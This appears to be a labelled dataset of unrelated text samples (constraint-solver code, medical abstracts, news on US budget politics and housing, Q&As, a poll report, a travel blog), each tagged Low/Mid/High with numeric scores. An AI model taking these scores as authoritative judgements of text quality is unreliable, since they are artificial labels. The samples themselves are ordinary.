INT____00002], 192); constraint int_lin_eq([1, -1], [INT____00005, INT____00006], 192); constraint int_lin_eq([1, -1, 1, -1], [INT____00001, INT____00002, INT____00003, INT____00004], 0); constraint int_lin_eq([1, -1, 1, -1], [INT____00003, INT____00004, INT____00005, INT____00006], 0); constraint int_times(C, C, INT____00001) :: defines_var(INT____00001); constraint int_times(D, D, INT____00003) :: defines_var(INT____00003); constraint int_times(E, E, INT____00005) :: defines_var(INT____00005); constraint int_times(H, H, INT____00002) :: defines_var(INT____00002); constraint int_times(I, I, INT____00004) :: defines_var(INT____00004); constraint int_times(K, K, INT____00006) :: defines_var(INT____00006); solve :: int_search(LD, first_fail, indomain, complete) satisfy;	Mid	[ 0.573849878934624, 29.625, 22 ]
Early red cell transfusion favourably alters cerebral oxygen extraction in very preterm newborns. Elevated cerebral fractional tissue oxygen extraction (cFTOE; ≥0.4) predicts early brain injury in very preterm infants. While blood transfusion increases oxygen-carrying capacity, its ability to improve cerebral oxygen kinetics in the immediate newborn period remains unknown. To investigate the effect of red blood cell (RBC) transfusion in the first 24 h of life on cFTOE in infants ≤29 weeks gestation. cFTOE was calculated from cerebral tissue oxygenation index (TOI) and cutaneous oximetry measured over a 30 min epoch before and after transfusion. Infants were dichotomised according to pre-transfusion cFTOE (low <0.4 vs high ≥0.4). 24 babies were included, 12 in each group. Pre- and post-transfusion Hb were similar between the groups. cFTOE significantly reduced after transfusion in the high but not low-extraction group (p<0.01). Early RBC transfusion favourably alters cerebral oxygen kinetics in infants with elevated cFTOE, showing potential for modification of the risk of hypoxic (brain) injury.	High	[ 0.681290322580645, 33, 15.4375 ]
@(chart: tools.FormattedChart) @* placeholder for chart *@ <div id="@chart.id" class="chart @chart.format.cssClass"></div> <script type="text/javascript"> function drawChart() { var data = new google.visualization.DataTable(@{Html(chart.asJson.toString)}) var chart = new google.visualization.LineChart(document.getElementById('@chart.id')); var options = { title: '@chart.name', colors: [@Html(chart.format.colours.map(c => s"'$c'").mkString(","))], @if(chart.labels.size == 2){ legend: "none", vAxis: {title: '@chart.labels(1)'}, } else { legend: { position: "in" }, } chartArea: { width: "90%" }, titleTextStyle: {color: '#999'}, axisTitlesPosition: 'in', fontName : 'Arial', smoothLine: true }; } google.charts.setOnLoadCallback(drawChart); </script>	Mid	[ 0.5531400966183571, 28.625, 23.125 ]
In the brief window between the end of the government shutdown six weeks ago, and the news tsunami that drowned it out when the media realized how bad Healthcare.gov was, the conventional wisdom held that the GOP would resist the temptations of brinkmanship in the new year and extend funding for the government without any drama. Part of the conventional wisdom was rooted in political math -- the shutdown was bad, there's no way they'd do it again, months closer to the midterms. Part of it was regression to the mean bias. Part of it was that Senate Minority Leader Mitch McConnell said so: “There’s no education in the second kick of a mule. The first kick of the mule was in 1995; the second one was the last 16 days. A government shutdown is off the table. We’re not going to do it … We’re not going to do this again in connection with the debt ceiling or with a government shutdown.” Advertisement: Then as Affordable Care Act woes mounted, the conventional wisdom hardened. Republicans weren't going to surrender the gift of the Obama administration's blundering rollout of the Affordable Care Act by shutting down the government. All reasonable inferences. And now, the offices of Rep. Paul Ryan, R-Wis., and Sen. Patty Murray, D-Wash., are baiting reporters with the possibility that the two chairs of the House and Senate Budget Committees will reach an agreement to pay down a few years of sequestration with a mix of other modest spending cuts and non-tax revenues spread out over many years. All that would be left to do then is pass some appropriations before Jan. 15 and we'd be in the clear. With all that out there, if I had to wager now, I'd put my money on the conventional wisdom. Advertisement: But I'd also want to find a safe hedge. And the reason, again, is the Affordable Care Act. The relationship between the ACA rollout and the looming budget deadlines isn't quite as simple and static as it appeared in October. Another shutdown would of course un-reverse the political reversal of fortune Republicans have enjoyed thanks to Obamacare, and that creates a huge incentive for Republican leaders to cut conservative hard-liners loose and strike a deal with Democrats on the budget. But a few things are pulling in the opposite direction. Advertisement: One is just the natural inclination of parties to overreach when they believe they have the upper hand. Republicans have already wiped tax revenues off the table, and conservatives aren't exactly wild about raising revenue through fees and sales either, if it means using the proceeds to increase spending. They're nevertheless pressing Democrats to agree to Medicaid cuts -- something Democrats have been reluctant to do under any circumstances, but particularly if the tax side of the ledger tallies zero. If Murray and Ryan manage to reach an agreement, conservatives groups -- Heritage, Club for Growth and others -- will very likely savage it, and if past is prologue, rank-and-file Republicans will follow, and GOP leaders will have to decide once again whether escalating a shutdown fight would be preferable to breaking the Hastert Rule. Advertisement: If the deal falls through, Speaker John Boehner has posited that he'll place legislation to renew funding for the government at sequestration levels on the House floor, and finish out the fiscal year without a budget. But it's unclear if that bill could pass. House Republican military hawks are desperate to avoid this round of automatic cuts, because they primarily reduce defense spending. They'd have to be strong-armed into supporting a bill that allows those cuts to happen. Republicans might think battered Democrats would help them assemble a majority, but I believe they're mistaken. "I'm not going to support a short-term CR [stopgap funding bill] that leads to a $967 [billion] … allocation," said Rep. Steny Hoyer, D-Md., who's the Dems' top vote counter. The problem actually gets worse if Healthcare.gov continues to enroll tens of thousands of people a day. The next deadline for funding the government lands after benefits kick in, but before open enrollment ends. Conservative hard-liners might thus (finally) accept that they can't use budget deadlines to delay or defund the law, but they'll face a strong temptation to use this one to further discourage enrollment. Advertisement: And how eager will conservatives be to play nice on the budget if the Obamacare worm has turned, and the incentive of keeping the rollout disaster on the front page no longer exists.	Low	[ 0.48941176470588205, 26, 27.125 ]
Q: Why does the McNemar's test use chi-square and not the normal distribution? I just noticed how the non exact McNemar's test uses the chi square asymptotic distribution. But since the exact test (for the two case table) relies on the binomial distribution, how come it is not common to suggest the normal approximation to the binomial distribution? Thanks. A: A close-to-intuitive answer: Take a closer look at the formula for the McNemar test, given the table pos \| neg ----\|-----\|----- pos \| a \| b ----\|-----\|----- neg \| c \| d The McNemar statistic M is calculated as: $$ M = {(b-c)^2 \over b+c} $$ The definition of a $\chi^2$ distribution with k degrees of freedom is that it consists of the sum of squares of k independent standard normal variables. if the 4 numbers are large enough, b and c, and thus b-c and b+c can be approximated by a normal distribution. Given the formula for M, it's easily seen that with large enough values M will indeed follow approximately a $\chi^2$ distribution with 1 degree of freedom. EDIT : As onstop rightfully indicated, the normal approximation is in fact completely equivalent. That's rather trivial given the argument using the approximation of b-c by the normal distribution. The exact binomial version is also equivalent to the sign test, in the sense that in this version the binomial distribution is used to compare b to $Binom(b+c,0.5)$. Or we can say that under the null hypothesis the distribution of b can be approximated by $N(0.5\times(b+c),0.5^2\times(b+c)$. Or, equivalently: $$\frac{b-(\frac{b+c}{2})}{\frac{\sqrt{b+c}}{2}}\sim N(0,1)$$ which simplifies to $$ \frac{b-c}{\sqrt{b+c}}\sim N(0,1)$$ or, when taken the square on both sides, to $M \sim \chi^2_1$. Hence, the normal approximation is used. It is the same as the $\chi^2$ approximation. A: Won't the two approaches come to the same thing? The relevant chi-square distribution has one degree of freedom so is simply the distribution of the square of a random variable with a standard normal distribution. I'd have to go through the algebra to check, which I haven't got time to do right now, but I'd be surprised if you don't end up with exactly the same answer both ways.	Mid	[ 0.650485436893203, 33.5, 18 ]
BMG’s latest poll for the Independent reveals strong public opposition to the current tuition fee upper limit of over £9,000 per year. The poll finds that the current fees regime, which has stirred controversy since its inception under the Coalition government in 2012, is supported by just 18% of the British public. Conducted between the 8 and 11 August, the survey of a representative sample of 1463 adults shows that almost two-third of people want tuition fees either reduced or removed altogether. 34% would support the introduction of a cap of £3,000 – close to the previous limit that was in place prior to the introduction of reforms in 2012 – and 31% stated that the Government should scrap fees entirely. 17% answered don’t know. Interestingly, levels of educational attainment do not appear to have an impact on support, with the current fees regime unpopular in all educational groups. Just 18% with degree qualifications, 21% with non-degree qualifications and 9% with no qualifications (relatively high levels of don’t knows) said the Government should leave the current fees system in place. Whilst older people are more supportive of the current system than those than those in younger age groups, close to three in five over 55s still stated that annual tuition fees to be cut or scrapped. Unsurprisingly, given the party’s pledge to scrap fees at the 2017 election, those intending to vote Labour were the most likely to support making university tuition free, with close to half (48%) backing their abolition. However, whilst just 11% of Conservative supporters backed free tuition, a plurality (39%) did state that fees should be reduced to £3,000. The poll also found that over two in three voters (68%) would also scrap the interest on money borrowed to pay for fees, which is set to the Retail Price Index (RPI) level of inflation plus 3 per cent, which implies 6.1% from this autumn. Just 17% wanted to leave current interest rates in place, with 15% unsure. Robert Struthers, Research Executive at BMG research said: “Our polling for the Independent shows that, at their current rate at least, tuition fees are almost universally unpopular, even among Conservative voters and those who have not gone to University, who you might expect to be more supportive of the current system. “That being said, many appear to support imposing fees in principle but appear to view the current cap as excessive. It is also important to stress that it is unclear the extent to which the issue is salient in the minds of the public. For example, it is not obvious at which level people would prioritise reducing or scrapping tuition fees, when set against other spending priorities, or indeed whether they would be willing to pay more in tax to fund the reductions.” Readers can interrogate the data themselves by toggling with the menu below. An article based on these polling results, released by the Independent, can be found here. Methodology, fieldwork dates, and a full breakdown of these results can be found here. For a more detailed breakdown of results from this poll, or any other results from our polling series, please get in touch by email or phone. polling@bmgresearch.co.uk @BMGResearch 0121 333 6006 Ciaran McGlone – Graduate Research Executive	High	[ 0.687933425797503, 31, 14.0625 ]
Q: Elastic Beanstalk Deployment Errno 2 No Such File / Directory It's my first time deploying something to AWS using Elastic Beanstalk and so far I've gotten to the point where I can run eb create and get started. The first time I did this I got Errno 13. Specifically, I got to the point where it tried to create the application and then: Creating application version archive "app-150423_212419". ERROR: IOError :: [Errno 13] Permission denied: './.viminfo' I learned that this is a root access issue and so I followed a step found here that stated I should try the bash command: sudo chown -R test /home/test Here test = my user name and home = Users. This got me to the error ERROR: OSError :: [Errno 2] No such file or directory: './.collab/ext' I'm really not sure what that directory is supposed to be or why it's trying to access it. How can I choose a proper directory so that I can get things up and running? A: eb create will attempt to zip up your entire directory and deploy it to an elastic beanstalk environment. I am not sure why certain files seem to not exist(maybe you have some symlinks?). It also looks as if you might be trying to run eb create in your home directory. Dont do that. In fact remove the .elasticbeanstalk folder from your home directory right now. All you need to do is go into your project directory, run eb init, then eb create.	High	[ 0.6713615023474171, 35.75, 17.5 ]
Several plant lectins are known as potent immunomodulatory agents, and they are applied in different experimental models of infection (Afonso-Cardoso et al., [@B1]; Oliveira et al., [@B13]). Recent research has characterized these proteins as potential agonists of Toll-like receptors (TLRs or TLR), a family of mammalian homologs of Drosophila Toll protein involved in the detection of microbes and initiating inflammatory responses (O\'Neill et al., [@B14]). In this opinion article, we highlighted some studies of plant lectins as modulators or agonists of TLRs in order to stimulate research interest in this fascinating area and promote knowledge sharing and scientific collaboration. A short view on plant lectins ============================= Lectins are a very large class of carbohydrate-binding proteins of non-immune origin. Through the interaction with sugars, they trigger several important cellular processes. Lectins are universally expressed and have been shown to function in animals, plants, and microorganisms as cell and molecular recognition proteins. However, the carbohydrate-binding domains have been studied most intensively within the plant kingdom (Sharon, [@B16]; Vandenborre et al., [@B20]). The discovery of plant lectins occurred in the 19th century, however, many questions about the biological role of these molecules remain obscure. Lectins may be involved in sugar transport, carbohydrate storage and they are associated as molecular chaperones (Van Damme et al., [@B18a]; Liu and Li, [@B10]). The adhesion and agglutination properties of lectins have been related in the interaction of both symbiotic and pathogenic interaction of some microorganisms and host (Audfray et al., [@B2]). Plant lectins represent a group of proteins with obvious differences in their biochemical/physicochemical properties, molecular structure, carbohydrate-binding specificity and biological activities (Liu et al., [@B9]). Lectins are oligomeric which exhibit a large structural diversity and the molecular size range from 60 to 400 kDa. Each lectin polypeptide contains many molecular domains, one of which is the non-catalytic carbohydrate recognition domain, responsible for their ability to recognize and interact with specific glycoconjugates, without altering their structure. In the past few years, hundreds of plant lectins have been purified and characterized in details with respect to their biochemical properties, carbohydrate-binding specificities, these approaches allowed their classification (Van Dammes et al., [@B19]). Toll-like receptors =================== Plant materials represent an excellent source of immune modulators, which have been appointed as a new approach for combating infections caused by resistant microorganisms (Hancock et al., [@B5]). In this sense, a range of potential compounds have been proposed as agonists or inductors of immune receptors, including TLRs. The TLR family is the best characterized group of innate immune receptors in terms of known ligands, downstream signaling pathways and functional relevance. They comprise a family of receptors homologous to Toll receptor from Drosophila melanogaster. In humans, the TLR family includes 10 transmembrane proteins that play a crucial role in host defense: they recognize molecular characteristics of microorganisms, known as pathogen-associated molecular patterns (PAMPs) highly conserved between different classes of microorganisms. For example, TLR4 and accessory proteins recognize lipopolysaccharide (LPS), while TLR2 recognizes lipoteichoic acid and various lipopeptides (when in complex with either TLR-1 or TLR-6), and TLR5 recognizes flagellin (Hancock et al., [@B5]; O\'Neill et al., [@B14]). In this way, TLR receptors represent important therapeutic targets for developing new drugs able to directly modulate the host response against microbial infection. In fact, some TLR agonists and TLR modulators have been investigated as potential drugs on clinical trials and research programmes (Hennessy et al., [@B6]; Murgueitio et al., [@B12]). Plant lectins and toll-like receptors ===================================== Lectins have been extensively used as valuable tools in the biomedical research. The versatility of these biomolecules is due to their interactions with receptor-linked glycans on cell surfaces, which may trigger cell signaling and physiological responses (Lam and Ng, [@B7a]). Plant lectins are characterized as immunomodulator agent, which result in the production of certain cytokines and reactive species and induce efficient immune responses against tumors or microbial infections. A very comprehensive review of immunomodulatory lectins has recently been published by Souza et al. ([@B17a]). In order to investigate the mechanism of this action, some researchers correlated the activation of immune cells by lectins with the expression of TLR receptors. Sodhi et al. ([@B17]) investigated the expression of different TLRs induced by the famous lectin from Concanavalin A (Con A) using mouse macrophages as a model. Con A enhanced in vitro expression of TLRs (2--9) and its action was related with JNK, p38, p42/44, and NF-κ B. The authors also showed the heterodimerization of TLR-2 and TLR-6. Additionally, Con A pre-treated-macrophages were more susceptible to induction of proinflammatory cytokines and nitric oxide by different TLR ligands (ZymosanA, PolyI:C, LPS, CpG DNA). In other study, the Korean mistletoe lectin (KML-C) from Viscum album coloratum was shown to be a potent activator of TLR-4. The treatment of mouse peritoneal macrophages with KML-C-induced the upregulation of interleukin-1 receptor-associated kinase-1 (IRAK1) resulting in macrophage activation and TNF-α production, which was not observed when TLR-4 was blocked using a TLR-4-specific neutralizing antibody or TLR-4-deficient macrophages. The expression of TLR-4 was also induced by lectin-like protein from Anoectochilus formosanus (IPAF), resulting in the stimulation of TNF-α and IL-1β, CD86, and MHC II and phagocytic activity (Park et al., [@B15]). The capacity to modulate the TLR were explored to combat the experimental infection of Paracoccidiodes brasiliensis using native and recombinant KM^+^, a mannose-binding lectin from Artocarpus integrifolia. BALB/c mice were infected with P. brasiliensis and after 10 days both proteins were separately administered. KM^+^ treatment reduced significantly colony-forming unit and induced higher levels of nitric oxide, INF-α, TNF-α, and IL-12, which was dependent on TLR-2 (Coltri et al., [@B4]). Recently, in a remarkable paper, phytohaemagglutinin (PHA from Phaseolus vulgaris) and its isoforms were showed as a specific human TLR-4 agonist during an initial screening. This result encouraged the authors to examine the effects of this and other lectins on external (-2/6, -4, and -5) and internal (-3, -7, -8, and -9) human TLRs. In this research, SBA (Soybean agglutinin from Glycine max), PNA (peanut agglutinin from Arachis hypogaea), ConA and PHA only stimulated extracellular TLRs (-2/6, -4, or -5): TLR-4 for SBA and PNA; TLR-2/6 for ConA; TLR-2/6, -4 and for PHA-L. In other hand, WGA (wheat germ agglutinin from Triticum vulgaris) was the most promiscuous lectin activating all tested receptors, except TLR-3 and -4. The jacalin (from Artocarpus integrifolia) was inactive. This variety of TLR agonist pharmacology is related to different sugar ligand specificity of each plant lectins, suggesting that the action is encoded by the carbohydrate recognition motifs on different TLRs (Unitt and Hornigold, [@B18]). TLR agonists have been proposed as adjuvants for vaccines against virus (Behzad et al., [@B3]; Hong et al., [@B7]), bacteria (Hancock et al., [@B5]), parasite (Moon et al., [@B11]) and fungi (LeibundGut-Landmann et al., [@B8]). In conclusion, these observations encourage further studies for the characterization of plant lectins as novel agonists and modulators of TLR receptors. These proteins act by increasing the immune response of the host against microbial infections, thus overcoming their immunosuppressive mechanisms and offers an alternative to combat the increasing drug resistance. These approaches may also provide new insights on TLR biology and aid in the discovery of new targets glycosides useful in therapy. Conflict of interest statement ------------------------------ The Editor and Authors declare that while the authors and reviewer (Rafael E Silva) are affiliated with the same institution there has been no conflict of interest during the review and handling of this manuscript. The authors express their gratitude to the Conselho Nacional de Desenvolvimento Científico e Tecnológico (CNPq), to the Coordenação de Aperfeiçoamento de Pessoal de Nível Superior (CAPES), and to the Fundação de Amparo à Ciência e Tecnologia do Estado de Pernambuco (FACEPE) for research Grants. [^1]: This article was submitted to Antimicrobials, Resistance and Chemotherapy, a section of the journal Frontiers in Microbiology. [^2]: Edited by: James Stach, University of Newcastle, UK [^3]: Reviewed by: Paul D. Brown, University of the West Indies, Jamaica; Rafael De Freitas E. Silva, University of Pernambuco, Brazil	High	[ 0.699724517906336, 31.75, 13.625 ]
The latest numbers in housing aren't pretty at all. Sales of both existing and newly built homes fell in June, the latter to the lowest level since last year. Prices continue to rise, but the gains are slowing. Mortgage applications to purchase both new and existing homes have been falling steadily, and mortgage rates are rising again. Single-family home construction also fell and was lower than June 2017. In one of the nation's hottest metropolitan markets, Denver, Colorado, home sales fell 5.5 percent annually in June, even as prices hit an all-time high, according to a report by RE/MAX. Realtors there blame it squarely on a lack of homes for sale. "Year-over-year prices have been climbing for more than two years now, which is great news for homeowners and sellers," said RE/MAX CEO Adam Contos. "The slower sales figures we're seeing are tied to inventory more than anything else." But the slowdown is also tied to overheated prices. Even in the hottest markets, there is a limit to affordability, and that limit is clearly now being hit. In pricey Southern California, sales of both new and existing homes fell sharply in June compared with a year ago, according to CoreLogic. Demand is still quite strong, and while prices continue to gain, more listings are showing price reductions. "The market is strong, but I'm seeing a noticeable difference in the number of buyers that are looking at my listings each week," said David Fogg, a real estate agent based in Burbank, California. "We're still selling most every home, but now it is usually with just one or two offers over the 10 to 15 offers we were seeing earlier in the year." 'Anything-goes list-price strategy' Fogg said he is also working very closely with his sellers now to make better and more realistic decisions about pricing. "The anything-goes list-price strategy is no longer working. Buyers want to buy, but we're seeing fewer of them, and they are much more careful. Many properties are now not selling and/or coming down in price." In a twist, a sales slowdown and more seller sanity could now actually boost the very slow recovery in homeownership. It ticked slightly higher again in the second quarter of this year, according to the U.S. Census. "The rise in homeownership in the spring was consistent with the last few quarters, so while there appears to be a slowdown in the growth rate of home sales and prices, it has not slowed rising homeownership," said Sam Khater, chief economist at Freddie Mac. Homeownership is still well below the peak of the housing boom in 2005 and a full percentage point below the 50-year average. This is because the largest generation, millennials, was delayed financially. "This lag reflects the long-lasting scars from the Great Recession and the lopsided nature of this recovery. Despite years of continuous job growth and a slowly improving economy, it was only last year where we started to see an uptick in homeownership," added Khater. Millennials finally began entering the housing market in huge numbers last year, only to find a critical shortage of homes for sale and fast-rising home prices. Bidding wars became the norm, and young potential buyers from coast to coast were often priced out. "I thought I was at a higher price point where it would be a little bit easier for me to get a place without a lot of competition, but I've put down two offers so far and both times been beaten out by cash offers," said Brittany Storoz, a millennial who was house hunting in Denver, in an interview last winter. One of the homes she toured saw more than 100 people walk through it in just three days. Millennials still buying Homeownership is, however, gaining for younger households, especially those under 35. In the second quarter of this year, their homeownership rate hit the highest level in five years, according to the U.S. Census. This as homeownership fell for households aged 55 and older. "This suggests that younger buyers are finding success despite the fact that they are more likely to have to adjust their home search in response to rising prices and mortgage rates," said Danielle Hale, chief economist for Realtor.com. A recent survey by Realtor.com found 69 percent of recent closers ages 35-54 reported adjusting their home search in response to rising costs, while 77 percent of recent closers ages 18 to 34 reported the same. There is, however, a price limit, and that is part of why existing home sales have been falling for three straight months. The other part is a lack of affordable homes for sale. Sales of homes priced below $250,000 were sharply lower in June compared with a year ago, while those priced from $250,000-$750,000 were essentially flat, according to the National Association of Realtors. The inventory shortage is most critical at the lower end of the housing market for two reasons. First, homebuilders say they cannot afford to build lower-priced homes because of rising costs for labor and materials. Second, investors purchased millions of lower-end homes that went into foreclosure during the housing crisis and turned them into lucrative, single-family rentals. They continue to hold those homes or sell them to other investors. WATCH: How to use your home as a source of cash	Mid	[ 0.632478632478632, 37, 21.5 ]
Take to the titan sky In a surprise announcement at Paris Games Week, Oure was revealed and given an immediate release for PlayStation 4. Not much is known about it other than what we can see from the brief trailer but from what we've been told you are a child that lives in a world of Titans. These titans for some reason or other have been knocked off of their routine. It is your duty to get these Titans back on track! You do it by flying around on a dragon and solving puzzles pertaining to each Titan. I got a lot of Journey vibes from it and anything that reminds me of that peaceful game is a good thing. It will be available as the hosts said "later today" so keep an eye on the PlayStation Store. Click to open photo gallery:	Mid	[ 0.625792811839323, 37, 22.125 ]
Fox News is opening its 5 p.m. debate to all the announced Republican candidates who fail to make the cut for the Aug. 6 prime-time event, removing a requirement that participants reach at least 1 percent in polling. The change amounts to an insurance policy for candidates who were in danger of being disqualified from the vital first debate based on low polls – Carly Fiorina, former New York Gov. George Pataki and Sen. Lindsey Graham (R-S.C.). Story Continued Below The announcement by Michael Clemente, Fox News Executive Vice President, News, means that all 16 announced candidates will qualify for Cleveland — either the 5 p.m. undercard, or the 9 p.m. main event. The 9 p.m. debate will include the 10 candidates with the highest average in national polls, as determined by Fox News. The 5 p.m. forum will now include all the rest. The next three, who would currently be relegated to 5 p.m., are Ohio Gov. John Kasich, Rick Santorum and Louisiana Gov. Bobby Jindal. They are followed by Fiorina, Pataki and Graham. All of the candidates have been getting extensive Fox airtime. Here’s a tally of the total combined Fox News Channel and Fox Business Network appearances — several for an hour — by each of the hopefuls since their official campaign launches: “Due to the overwhelming interest in the FOX News Facebook Debate Event Night on August 6th and in a concerted effort to include and accommodate the now 16 Republican candidate field — the largest in modern political history — FOX News is expanding participation in the 5 PM/ET debate to all declared candidates whose names are consistently being offered to respondents in major national polls, as recognized by Fox News,” said Clemente in a statement. “Although we are relaxing one component of our entry criteria – the requirement that candidates must score 1% or higher in an average of five most recent national polls – all other components of the criteria remain in effect for the 5 PM/ET debate. Participants must meet all U.S. Constitutional requirements; must announce and register a formal campaign for president; and must file all necessary paperwork with the Federal Election Commission (FEC), including financial disclosure. “As for the 9 PM/ET debate, all components of the original criteria remain unchanged – including the requirement that participants must place in the top 10 of an average of the five most recent national polls, as recognized by FOX News, leading up to August 4th at 5PM/ET. Such polling must be conducted by major, nationally recognized organizations that use standard methodological techniques. “Everyone included in these debates has a chance to be President of the United States and we look forward to showcasing all of the candidates in the first primary event of the 2016 election season.” The 5 p.m. debate, which will last an hour, will be moderated by Bill Hemmer and Martha MacCallum. The 9 p.m. debate will run about 90 minutes (two hours with commercial breaks and introductions), and be moderated by Bret Baier, Megyn Kelly and Chris Wallace.	High	[ 0.6575963718820861, 36.25, 18.875 ]
This work entails scaling a biophysical model of the neocortex using parallel NEURON \[[@B1]\] while running on a Blue Gene / P in virtual node mode. Previous scaling experiments have been done with the SPLIT simulator on the Blue Gene / L with a similar neocortical model \[[@B2]\]. We chose a biophysical model of medium complexity based on the Hodgkin-Huxley formalism because this provides the capability of exploring the effects of psychotropic drugs as well as the oscillatory effects of cortical microcircuits and globally correlated network activity. Neocortical simulations were performed to determine both strong (fixed network size, increasing cores) and weak (increasing network size, fixed load per core) scaling with two variations of a square necortical patch of hypercolumns and internal minicolumns. The first variation consists of minicolumns with 20 layer 2/3 pyramidal cells, 2 basket cells and 5 layer 4 pyramidal cells and has orthogonally stored memory patterns, encoded with long-range excitatory connections between individual minicolumns across hypercolumns. The second variation has an additional 2 regular spiking non-pyramidal interneurons per minicolumn and instead uses sparse, randomly overlapping memory patterns encoded with both excitatory and inhibitory long-range connections between hypercolumns. Simulations were performed with both single patches of increasing area and cascades of multiple patches with feed-forward and feed-backward projections. Individual simulations consisted of stimulation and completion of a single memory pattern within 1 second of cortical activity. Preliminary results show near linear speedups of the computational part of the simulation, but degradation of file I/O performance as the number of cores increase. Since each core writes out spiking activity after the simulation, the performance decline may be due to the ratio of core to I/O nodes and the large number of output files. With this performance analysis, further work will include measuring and scaling memory storage capacity with the described second variation of the biophysical neocortical model. ![Strong and weak scaling results from simulations of the first variation of the neocortical model. The blue lines represent combined initialization and simulation time and the black lines also include writing spiking output. A. Strong scaling of a 16x16 hypercolumn neocortical patch with 128 minicolumns. B. Weak scaling of 4x4, 8x8, 4x8 and 16x16 hypercolumn patches all with 128 minicolumns. Each core computed 2 minicolumns.](1471-2202-12-S1-P191-1){#F1}	Mid	[ 0.65324384787472, 36.5, 19.375 ]
Leukocyte margination during hemorrhagic shock correlates to preshock margination and is reduced by fucoidin. Systemic and pulmonary circulation kinetics for 51Cr-erythrocytes and 111In-leukocytes were measured in rats during experimental hemorrhagic shock and normotension with or without pretreatment with the antirolling agent fucoidin. Leukocyte margination was expressed as transit factors (white blood cell transit time/red blood cell transit time) for polymorphonuclear and mononuclear cells. There was an increased pooling of leukocytes in the pulmonary and systemic vascular beds during shock with a maximum after 60 min when the transit factors had increased 2.90-3.72 times in the pulmonary vascular bed and 2.00-3.52 times in the systemic vascular bed for mononuclear and polymorphonuclear cells, respectively. High preshock pooling levels lead to a more pronounced increase in pooling during shock. Pretreatment with fucoidin significantly reduced the pooling increase in the systemic vascular bed. Granulocyte oxidative activity (nitro blue tetrazolium test) invariably increased during shock and was not affected by fucoidin.	Mid	[ 0.6424731182795691, 29.875, 16.625 ]
Cloning and functional characterization of a complex endo-beta-1,3-glucanase from Paenibacillus sp. A beta-1,3-glucanase gene, encoding a protein of 1,793 amino acids, was cloned from a strain of Paenibacillus sp. in this study. This large protein, designated as LamA, consists of many putative functional units, which include, from N to C terminus, a leader peptide, three repeats of the S-layer homologous module, a catalytic module of glycoside hydrolase family 16, four repeats of the carbohydrate-binding module of family CBM_4_9, and an analogue of coagulation factor Fa5/8C. Several truncated proteins, composed of the catalytic module with various organizations of the appended modules, were successfully expressed and characterized in this study. Data indicated that the catalytic module specifically hydrolyze beta-1,3- and beta-1,3-1,4-glucans. Also, laminaritriose was the major product upon endolytic hydrolysis of laminarin. The CBM repeats and Fa5/8C analogue substantially enhanced the hydrolyzing activity of the catalytic module, particularly toward insoluble complex substrates, suggesting their modulating functions in the enzymatic activity of LamA. Carbohydrate-binding assay confirmed the binding capabilities of the CBM repeats and Fa5/8C analogue to beta-1,3-, beta-1,3-1,4-, and even beta-1,4-glucans. These appended modules also enhanced the inhibition effect of the catalytic module on the growth of Candida albicans and Rhizoctonia solani.	High	[ 0.6666666666666661, 32.25, 16.125 ]
Implantation of transvenous nonthoracotomy cardioverter-defibrillator systems in patients with permanent endocardial pacemakers. Among 177 patients in whom a nonthoracotomy approach was initially used to implant a cardioverter-defibrillator system, 11 (6%) patients also received a separately implanted permanent pacemaker. The main problem encountered in these patients were previously implanted unipolar pacemakers (n = 3) and ventricular pacing leads positioned at the right ventricular apex, the latter interfering with optimal placement of the tripolar implantable cardioverter-defibrillator (ICD) lead (n = 9). The approaches used to solve these problems were individualized and included placement of the ICD sensing lead at the right ventricular outflow tract (n = 3), initial placement (n = 1) or subsequent repositioning (n = 2) of the right ventricular pacing lead at the outflow tract, upgrade from unipolar to bipolar systems (n = 2), reprogramming from the DDD to AAI mode (n = 2), inactivation of the pacemaker (n = 1), and simultaneous placement of a single-chamber atrial pacemaker with the ICD lead (n = 2). These revisions fulfilled the pacing needs in each patient and prevented unfavorable sensing interaction between the two systems.	Mid	[ 0.6453201970443351, 32.75, 18 ]
Influence of carrier surface fines on dry powder inhalation formulations. The performance of carrier-based dry powder inhalation formulations strongly depends on particle interactions between the drug and the carrier. Among other factors like particle size and shape, surface properties of the interacting partners play a decisive role. This study aims at investigating the effect of carrier surface characteristics on the in vitro deposition of ordered mixtures containing salbutamol sulfate as a drug and lactose and mannitol as model carrier compounds. The wet decantation method was used to remove the carrier fines adhered to the carrier surface and to obtain smoother carrier surfaces. In vitro deposition was investigated using the Next Generation Impactor. In comparison to the formulations containing untreated carriers, the removal of carrier fines by wet decantation leads to a reduced in vitro deposition. This is possibly caused by an increase in the surface smoothness and an increase in the number of high energetic spots.	Mid	[ 0.65, 35.75, 19.25 ]
Starkville, MS (39762) Today Sunshine and clouds mixed. High 87F. Winds N at 10 to 15 mph.. Tonight Partly cloudy early followed by cloudy skies overnight. Low 61F. Winds NNW at 5 to 10 mph.	Low	[ 0.312154696132596, 14.125, 31.125 ]
Sojourners and Stairs Part 2 We were wowed by the view. But our amazement was premature. Little did we know if we kept walking, we would see one of THE best views. The steeple turned into a church. The Matthias Church to be exact. What we didn’t know at the time was what the Matthias Church was. We found out later that this church, along with the Fisherman’s Bastion, are #7 and #2 on TripAdvisor’s Top 10 in Budapest list. The Matthias Church (in Hungarian: Mátyás-templom) is a Gothic style Roman Catholic church that was built in the 1015, rebuilt in the 14th century, and later restored in the 19th century. This church is located in front of the Fisherman’s Bastion: This Bastion (Halászbástya) has 7 towers, 4 of which are pictured, that represent the 7 Magyar tribes that settled in the late eight hundreds. It is located on Castle Hill on the Buda side and overlooks the Danube. And what a view it was. We were just out for a stroll and had NO IDEA all those steps would lead to this breathtaking view. It was cloudy so our view was hindered, but I can only imagine how far you could see on a clear day! The Bastion and and the church weren’t the only things to explore on Castle Hill.. with a name like that there must be a castle here somewhere. So we set out exploring to find the castle. This slideshow requires JavaScript. We soon grew hungray (pun intended) and changed our course: food first, castle later. We came across one of my new favorite places in all of Budapest – Tárnok Cafe & Bier. The food was delicious, the service was marvelous, and the prices were exceptional. But more on the at later. Keep your eyes peeled for a Hungry in Hungary post.	High	[ 0.6974358974358971, 34, 14.75 ]
